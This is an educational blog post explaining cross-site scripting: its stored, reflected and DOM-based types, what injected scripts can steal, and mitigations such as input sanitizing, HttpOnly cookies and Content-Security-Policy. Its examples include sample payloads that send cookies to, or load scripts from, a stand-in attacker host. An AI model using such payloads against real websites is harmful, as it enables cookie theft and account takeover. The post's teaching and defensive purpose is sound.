Cross-site Scripting (XSS)

Cross-site Scripting is a type of computer security vulnerability typically found in web application, which enables attackers to inject and execute client-side malicious scripts into web pages in another user’s browser.

Published in

Sujeet’s Blog

5 min readMay 7, 2018

An XSS vulnerability arises when web applications takes data as input from users and dynamically include it in web pages without first properly validating or sanitizing the data. The inclusion of the user provided input can be at server-side or client-side or both.

Example

Let’s take a example of a website that allows user to add html formatted comment, and a attacker commented like It's Awesome<script>window.location="http://attacker.evil?cookie="+document.cookie</script>. When any other user opens up that post, this comment if rendered without sanitizing (HTML escaping, encoding etc.), will show the comment text and executes the script (invisible) hence user’s data will be compromised.

Some quick Q/A for the impatient

Q: What is Cross-site Scripting & how it affects

A: A scenario where an attacker is able to inject and execute some malicious script into a website is called Cross-site Scripting. Script execution will allow attacker to have key-logging, access confidential user’s data, or the cookie / access tokens etc itself, which will allow the attacker complete access to the user’s data.

Q: How to stop?

A: First, don’t allow him to inject. Every user provided input either from URL or from input boxes or from anywhere, always should be sanitized. Second, if attacker is still able to inject somehow, just stop it’s script from executing. Now when the attacker injects his malicious script, it will either in-line or from some non-trusted source, therefore only allow the scripts to be executed from trusted source. This can be setup using Content Security Policy. Third, if your application doesn’t need javascript, disable script execution completely

Q: Who is affected?

A: Since the injection is done on the browser, the user’s data will be compromised.

Consequences of malicious JavaScript

Cookie theft: The attacker can access the victim’s cookies associated with the website using document.cookie, send them to his own server, and use them to extract sensitive information.
Key-logging: The attacker can register a keyboard event listener using addEventListener and then send all the user’s keystrokes to his own server potentially recording sensitive information such as passwords and credit card numbers.
Phishing: The attacker can insert a fake login form into a page using DOM manipulation, set the form’s action attribute to target his own server and then trick the user into submitting sensitive information.
Access Tokens: It can access global variable added by other scripts which allow to access any data store in those variables.
HTML5 Storage Access: The inject script can access data stored in LocalStorage/IndexedDB etc.

Types of XSS

Stored Cross-site Scripting Vulnerability

It occurs when the data provided by the attacker is saved by the server, and then permanently displayed on “normal” pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.

Example:
Let’s consider a example scenario where a site example.com allows user to add HTML formatted text as comment

An attacker went to that site, and adds a comment in one of the viral posts of that website. The comment was a malicious string. eg.: It's awesome <script src="http://attacker.evil/steal.js"></script> The comment will be stored in website’s database.
Another user visits that viral post, and the page is rendered with the comment in step 2.
User will only see the It’s awesome., as script tags when evaluated will be hidden but will execute, and therefore, the user will be compromised

Reflected Cross-site Scripting Vulnerability

It occurs when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request

Example
Let’s consider the following situation where a site example.com reads the query parameters from the url and uses it without sanitizing it.

The attacker crafts a url containing a malicious string (e.g.: http://example.com/search?q=cool_movie%3Cscript%20src=%22http://attacker.evil/steal.js%22%3E%3C/script%3E) and send it to other users.
A user is tricked by the attacker into requesting the URL from website. The website includes the malicious string from the URL in the html response.
The user’s browser executes the malicious script inside the response, sending the user’s data to attacker’s server

DOM Based Cross-site Scripting Vulnerability

In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.

One of the biggest differences between DOM Based XSS and Reflected or Stored XSS vulnerabilities is that DOM Based XSS cannot be stopped by server-side filters. For example, anything written after the “#” (hash) will never be sent to the server.

Consider a web page with following script

<script>
document.write("Current Url: " + document.baseURI)
</scrip>

If the attacker send a url to a user similar to Reflected Cross site Scripting but instead of a query parameter this time he uses # (hash) . Eg: http://example.com/search#%3Cscript%20src=%22http://attacker.evil/steal.js%22%3E%3C/script%3E which is actually http://example.com#<script src="http://attacker.evil/steal.js"></script>

Mitigating XSS

Sanitizing the user provided input before saving to db and/or rendering in the web application
For cookies, we can add ‘HttpOnly’ header to disable javascript access to cookies. (Read More)
Using proper Content-Security-Policy header to avoid Javascript execution in the browser from non-trusted sources.

Mitigating XSS Using Content-Security Policy (CSP)

CSP makes it possible to specify the domains that the browser should consider to be valid source of executable scripts. A CSP compatible browser will then only execute scripts loaded in source files received from those white-listed domains ignoring all other script (including inline scripts and event-handling HTML attributes)

Example 1

All content from the site’s own origin (this excludes sub-domains)

`Content-Security-Policy: default-src ‘self’`

Example 2

Web application to include images from any origin in their own content, but to restrict audio or video media to trusted providers, and all scripts only to a specific server that hosts trusted code.

`Content-Security-Policy: default-src ‘self’; img-src *; media-src media1.com media2.com; script-src userscripts.example.com *.trusted.com`

References